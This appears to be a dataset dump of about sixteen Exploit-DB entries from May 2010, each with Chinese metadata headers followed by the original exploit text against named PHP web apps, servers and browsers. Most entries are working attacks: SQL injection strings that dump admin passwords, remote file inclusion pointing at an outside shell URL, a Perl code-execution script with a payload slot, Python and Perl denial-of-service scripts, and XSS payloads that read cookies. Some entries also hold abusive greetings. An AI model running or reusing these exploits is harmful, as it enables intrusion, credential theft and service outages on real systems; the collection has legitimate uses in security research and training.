QLWD/code_shield huggingface dataset:
标题: Nucleus Plugin Twitter - Remote File Inclusion EDB-ID: 12790 CVE: 2010-2314 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-29 漏洞利用脚本: =============================================================================================================


  [o] Nucleus Plugin Twitter Remote File Inclusion Vulnerability
 
       Software : NP_Twitter version 0.8
       Download : http://edmondhui.homeip.net/nudn?file=2/NP_Twitter_v0_8.zip
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=[evilc0de]


  [o] PoC

       http://localhost/nucleus/plugins/NP_Twitter.php?DIR_PLUGINS=http://host.com/shell?


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha veter f1 & all people in #evilc0de [at] irc.byroe.net


=============================================================================================================


  [o] May 29 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12790
标题: Joomla! Component BF Quiz 1.3.0 - SQL Injection (1) EDB-ID: 12780 CVE: 2010-5032 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-28 漏洞利用脚本: # Exploit Title: Joomla Component BF Quiz SQL Injection Vulnerability
# Date: 29th May 2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.3.0
# Tested on: Debian, Apache2, MySQL 5
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component BF Quiz SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = BF Quiz
Vendor = Tamlyn Creative Pty Ltd
Vendor Website = http://www.tamlyncreative.com/software/
Affected Version(s) = 1.3.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
Example URI = 
index.php?option=com_bfquiztrial&view=bfquiztrial&catid=[SQL Injection]&Itemid=62


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 29th May 2010

I found this vulnerability while testing my new SQL injection vulnerability scanner.
(Will be released soon!)
Actually didn't find the vulnerability when I looked at this Joomla component for
the first time, lol.


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB and hack0wn!
Special Greetz = cr4wl3r and /JosS!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12780
标题: FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC) EDB-ID: 12762 CVE: 2010-1938 类型: DOS 平台: FREEBSD 发布日期: 2010-05-27 漏洞利用脚本: # FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)
# CVE-2010-1938
# FreeBSD-SA-10:05
# Credit: Maksymilian Arciemowicz and Adam Zabrocki
#
# http://securityreason.com/achievement_securityalert/87
# http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
# http://blog.pi3.com.pl/?p=111
#

PoC:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.

- -- 
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub 4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg URL: https://www.exploit-db.com/exploits/12762
标题: Nitro Web Gallery - SQL Injection EDB-ID: 12735 CVE: 2010-2141 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-25 漏洞利用脚本: ===============================================
NITRO Web Gallery SQL Injection Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# NITRO Web Gallery SQL Injection Vulnerability
####################################################
# Vendor:http://www.nitropowered.net/
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "(C) This site is NITROpowered!"

# Exploit       : [site]/index.php?section=pictures&action=open&PictureId=[SQL Injection]
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,blindboy,sukam,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef,dbanie

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/index.php?section=pictures&action=open&PictureId=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity







                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____| URL: https://www.exploit-db.com/exploits/12735
标题: Webby WebServer - Overflow (SEH) (PoC) EDB-ID: 12740 CVE: 2010-2102 类型: DOS 平台: WINDOWS 发布日期: 2010-05-25 漏洞利用脚本: #!/usr/bin/python

##POC details:
##
##SEH overwritten
##
##contact:  m1k3@m1k3.at
##  http://www.s3cur1ty.de

##App detail:
##
#http://www.shareware.de/webby-webserver/
#Version  1.01
#Autor   Timo Gaik
#Lizenzart Freeware
#Plattformen Win XP, Win 98, Win ME
#Letztes Update 19.10.2004
#Dateigroesse 701 KB

import socket
import sys
import os.path
import time

if len(sys.argv) < 2:
 print "Usage: webby.py <IP-Adr> <port>"
 sys.exit(0)

ips = sys.argv[1]
port = int(sys.argv[2])

string = "A"*790
string += "\x90"*4 
string += "\x42"*105  

method = "GET"
print "starting POC for:", ips
print ""

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
 connect=s.connect((ips, port))
except:
 print "no connection possible"
 sys.exit(1)

payload = method + ' http://'+ ips + '/' + string + ' HTTP/1.0\x0d\x0a\x0d\x0a'

print "\r\nsending payload"
print "\n\rusing methode %s with buffersize of: %s" % (method,str(len(string)))
print "..."

print payload
s.send(payload)
print "finished kicking method %s with payload %s" % (method,payload)
print "... the service should be crashed ... check SEH" URL: https://www.exploit-db.com/exploits/12740
标题: Microsoft Outlook Web Access (OWA) 8.2.254.0 - Information Disclosure EDB-ID: 12728 CVE: 2010-2091 类型: WEBAPPS 平台: WINDOWS 发布日期: 2010-05-24 漏洞利用脚本: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

"Microsoft Outlook Web Access (OWA) version 8.2.254.0"

OS: Windows Server 2003

Internet Explorer 7

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

There is an information disclosure vulnerability in "Microsoft Outlook Web
Access (OWA) version 8.2.254.0".

The issue is with the id parameter.

Following are different exploitation techniques:

https://example.com/owa/?ae=Folder&t=IPF.Note&id=<script>alert("HHH")</script<https://example.com/owa/?ae=Folder&t=IPF.Note&id=%3cscript%3ealert(%22HHH%22)%3c/script>
>

https://example.com/owa/?ae=Folder&t=IPF.Note&id=

https://example.com/owa/?ae=Folder&t=IPF.Note&id=A



Best Regards,
Praveen Darshanam,
Security Researcher,
INDIA URL: https://www.exploit-db.com/exploits/12728
标题: LiSK CMS 4.4 - SQL Injection EDB-ID: 12727 CVE: 2010-2015 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-24 漏洞利用脚本: Vulnerability ID: HTB22373

Reference:
http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_lisk_cms_1.html

Product: LiSK CMS

Vendor: Createch-group

Vulnerable Version: 4.4

Vendor Notification: 06 May 2010

Vulnerability Type: SQL Injection

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)


Vulnerability Details:

The vulnerability exists due to failure in the "/edit_email.php" script to
properly sanitize user-supplied input in "id" variable. Attacker can alter
queries to the application SQL database, execute arbitrary queries to the
database, compromise the application, access or modify sensitive data, or
exploit various vulnerabilities in the underlying SQL database.


Attacker can use browser to exploit this vulnerability. The following PoC is
available:

http://host/path_to_cp/edit_email.php?&id=X%27+union+select+1,2,3,4,5,6+--+ URL: https://www.exploit-db.com/exploits/12727
标题: Recipes Website 1.0 - SQL Injection EDB-ID: 12703 CVE: 2010-5039 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-22 漏洞利用脚本: [~] Script: | Recipes Website 1.0 |
[~] Author : Mr.ThieF
[~] Contact : LinuxRooT--@hotmail.com <~
[~] DorK : contact_frm.php
[~] Software Link : http://www.scriptsfeed.com
[~] Date : 05-23-2010
[~] Version : 1.0
[~] CVE : 
[~] Exploit :

UserName : admin ' or ' 1=1  & or & ' or 1='1'#

PassworD : xx

Example:

http://[site]/[path]/Recipes_Website/control/

http://[site]/control/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GreeTz : RENO <3 - Saudi ViruS TeaM <3 - MMA_LORD_735 <3 - Mr.NrFzH <3 - SaFa7-KsA <3 - T3rr0risT <3 - ALL My FrindS <3 URL: https://www.exploit-db.com/exploits/12703
标题: e107 - Code Exection EDB-ID: 12715 CVE: 2010-2099 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-05-24 漏洞利用脚本: # Exploit Title: e107 Code Exec
# Date: 05/22/10
# Author: McFly@e107.org
# Software Link: http://e107.org/edownload.php
# Version: e107 <= 0.7.20
# Tested on: Linux/Windows

#!/usr/bin/perl -w
#################################################
# e107 Code Exec // SploitAuthor: McFly@e107.org
#################################################
# These scrubs still haven't released an update!
# Here is a little bit of motivation for them to
# patch one of the most popular, and insecure of
# the PHP web apps available today. 
#################################################
# DORK: inurl:e107_plugins
#################################################

use LWP::UserAgent;

my $path = $ARGV[0] or die("Usage: perl e107_phpbb.pl http://e107site/pathto/contact.php\n");
my $load = 'passthru(chr(105).chr(100))'; # Simple 'id' command. Put ur PHP payload here! :)

# Remove comment for proxy support
my $proxy = 'http://127.0.0.1:8118/';
$ENV{http_proxy} = $proxy ? $proxy: 0;

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0");

if ( $proxy )
{
 print "[*] Using proxy $proxy \n";
 $ua->env_proxy('1');
}

my $req = new HTTP::Request POST => $path;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("send-contactus=1&author_name=%5Bphp%5D$load%3Bdie%28%29%3B%5B%2Fphp%5D");

my $res = $ua->request($req); 
my $data = $res->as_string;

if ( $data =~ /<td class=["']main_section['"]>(.*)/ ) 
{
 $data = $1;
 print "$data\n";
}
else
{
 print "$data\n";
} URL: https://www.exploit-db.com/exploits/12715
标题: SolarWinds TFTP Server 10.4.0.10 - Denial of Service EDB-ID: 12683 CVE: 2010-2115 类型: DOS 平台: WINDOWS 发布日期: 2010-05-21 漏洞利用脚本: # Exploit Title: Solarwinds TFTP DOS
# Date: 5-21-2010
# Author: Nullthreat
# Software Link: http://www.solarwinds.com/products/freetools/free_tftp_server.aspx
# Version: 10.4.0.10
# Tested on: Windows XP SP3
# Code : 

#!/usr/bin/perl
# SolarWinds TFTP Server 10.4.0.10 Remote DoS Exploit
# by Nullthreat
# The application will not crash, but it will stop accepting connections.
# You will be forced to restart the server by hand in the config
# Thanks to: LoneFerret, CoreLanC0der, PureHate, Rel1k

use IO::Socket;
$port = "69";
$host = $ARGV[0];
$s = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');

$really=
"\x00\x01". # Opcode 1 = Read Request
"\x01". # The crash....no really thats it
"\x00". # Null byte
"NETASCII". # The mode
"\x00"; # Null byte
$s->send($really); URL: https://www.exploit-db.com/exploits/12683
标题: ConPresso 4.0.7 - SQL Injection EDB-ID: 12684 CVE: 2010-2124 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-21 漏洞利用脚本: ConPresso 4.0.7 SQL Injection  Vulnerability  
    
########################### 
    
Author    : Gamoscu  
Homepage  : http://www.1923turk.com  
Blog      : http://gamoscu.wordpress.com/  
Script    : ConPresso 4.0.7 
Download  : http://www.conpresso.de/conpresso/de_downloads/index.php?rubric=Download
    
###########################   
      
[ Vulnerable File ] 
  
firma.php?id= [ SQL ] 
       
  
[ XpL ] 
    
-1/**/union/**/all/**/select/**/1,concat_ws(0x3a,password,username),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+ad_users 
  
  
    

iyi ki dogdun DELiBEY

     
##############################################################   
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO   
############################################################## URL: https://www.exploit-db.com/exploits/12684
标题: Apache Axis2 Administration Console - (Authenticated) Cross-Site Scripting EDB-ID: 12689 CVE: 2010-2103 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-05-21 漏洞利用脚本: PR10-03 Authenticated Cross-Site Scripting Vulnerability (XSS) within Apache Axis2 administration console 

Source:
http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-03

Advisory publicly released:  Friday, 21 May 2010
Vulnerability found:  Saturday, 30 January 2010
Severity level:  Medium

Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com)

Description:
Axis2 is a web services/SOAP/WDSL engine, widely used within many commercial products Procheckup has found it is vulnerable to a vanilla Cross-Site Scripting Vulnerability (XSS).  Axis2 is used within SAP Business Objects 12 and 3com's IMC network management tool.

http://ws.apache.org/axis2/

Comfirmed vulnerable versions:
1.4.1

Proof of concept:

The following demonstrate the XSS flaw:

Authenticated XSS normally login as admin and axis2

http://target-domain.foo:8080/imcws/axis2-admin/axis2-admin/axis2-web/axis2-admin/axis2-admin/engagingglobally?
submit=%2bEngage%2b&modules=<script>alert(1)</script>

Note: The above path will change depending on how axis2 has been installed. 

Legal
Copyright 2010 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party. URL: https://www.exploit-db.com/exploits/12689
标题: JV2 Folder Gallery 3.1 - 'gallery.php' Remote File Inclusion EDB-ID: 12688 CVE: 2010-2127 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-21 漏洞利用脚本: # ----------------------oOO---(_)---OOo----------------------- 
# | __ __ |   
# | _____/ /_____ ______/ /_ __ ______ ______ |   
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |   
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |   
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |   
# | Security Sn!pEr.S!Te /____/ 2o1o |   
# ------------------------------------------------------------ 
     Remote File Inclusion Vulnerability
# ----------------------------------------------------------- 
---------------------------------------------------------------- 
JV2 Folder Gallery <==3.1  (gallery.php ) 
  
----------------------------------------------------------------
#[+] Author : Sn!pEr.S!Te Hacker #  
# [+] Email : sniper-site@HoTMaiL.coM #  
# [+] T34M Sn!pEr.S!Te Hacker #  
# [+] 21-5-2010 # 
# [+] Script : Image Galleries » JV2 Folder Gallery#
# [+] Download:http://foldergallery.jv2.net/download.php?file=foldergallery_3.1#
# Version: [3.1] #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=
Exploit : gallery/gallery.php

http://localhost/gallery/gallery.php?lang_file=[shell.txt ]

htpp://127.0.0.1/gallery/gallery.php?lang_file=[shell.txt ]

iinclude ($lang_file);

line : 113 

web site Favorites my : http://inj3ct0r.com/  & http://www.hack0wn.com/ & http://www.exploit-db.com

==================   Greetz : all my friend   ===================
 * liar * sm Hacker * baby hacker * mAsH3L ALLiL * saleh Hacker * ALhal alsab |
 * ThE DarK * abo badr * aStoorh alqssim * Ramad Hacker * h-ex |
 * yousfe * HitLer.3rb * QAHER ALRAFDE * DjHacker * My Heart * Mr.koka | URL: https://www.exploit-db.com/exploits/12688
标题: DBCart - 'article.php' SQL Injection EDB-ID: 12661 CVE: 2010-2051 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-19 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
           DBCart (article.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : May, 19-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : DBCart ONLINE SHOPPING APPLICATION
Vendor      : http://www.debliteck.com/
Google Dork : Use Your Brain & Imagination :)
Overview    :
 
DBCart is an online shopping application that allows perspective customers 
to browse your products and either save them on their wish list or add them 
to their cart and checkout. 
----------------------------------------------------------------

Exploit:
~~~~~~~

9999+and+1=2+union+all+select+version(),2--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/article.php?id=[SQLi]
http://127.0.0.1/[path]/article.php?id=9999+and+1=2+union+all+select+version(),2--
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (besok² klo curhat jangan nangis lagi ah uR bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [ met ultah yach sayang :) ]
- N.O.C & Technical Support @office "except ahong (fuck you off)"
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[at]live[live]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12661
标题: Google Chrome 4.1.249.1059 - Cross Origin Bypass in Google URL (GURL) EDB-ID: 12657 CVE: 2010-1663 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-19 漏洞利用脚本: # Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL (GURL)
#
# CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1663
#
# Author: Jordi Chancel
#
# Software Link: http://googlechromereleases.blogspot.com/2010/04/stable-update-bug-and-security-fixes.html
#
# Description: {
#  The Google URL Parsing Library (aka google-url or GURL) in Google Chrome 
#  before 4.1.249.1064 allows remote attackers to bypass the Same Origin Policy 
#  via CHARACTER TABULATION or others escape characters inside javascript: protocol string. }
#
# Some PoC : 

<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe> 
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>

Greetz : Xylitol , Eddy Bordi , 599eme Man , Gnouf , CTZ . URL: https://www.exploit-db.com/exploits/12657
标题: Lokomedia CMS - 'sukaCMS' Local File Disclosure EDB-ID: 12651 CVE: 2010-2018 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-18 漏洞利用脚本: # Software Link: http://bukulokomedia.com
# Version: [2.0]
# Tested on: [all OS]

[+] Title : Local File Disclosure Vulnerability Lokomedia CMS (sukaCMS)

[+] Vendor     : http://bukulokomedia.com

[+] Discovered : vir0e5 a.k.a banditc0de

[+] Contact    : vir0e5[at]hackermail[dot]com

[+] Site       : http://vir0e5.blogspot.com

[+] DorK       : inurl:/downlot.php?file=
 
[+] Exploit    : http://[host]/[dir]/downlot.php?file=../config/koneksi.php

[+] Greetings  :[ mywisdom - kiddies - kamtiez - r3m1ck - Aoc - skuteng_boy  - blue_screen - 
                  agdi_cool - dangercode14045 - dewancc and YOU!!!! ] ;

[+] Forum [as member] : http://indonesian-cyber.org | http://tecon-crew.org | http://u3dcrew.darkbb.com | http://devilzc0de.org

[+] Notice : "boycott malaysian product "
* Fuck to Malaysia <= the truly thief asia  
* For HaMaDa SCoOoRPioN are you layz????? copy my exploit???
  http://securityreason.com/securityalert/7161  
  http://securityreason.com/exploitalert/7413   Look Date!!! your copy my style!!! URL: https://www.exploit-db.com/exploits/12651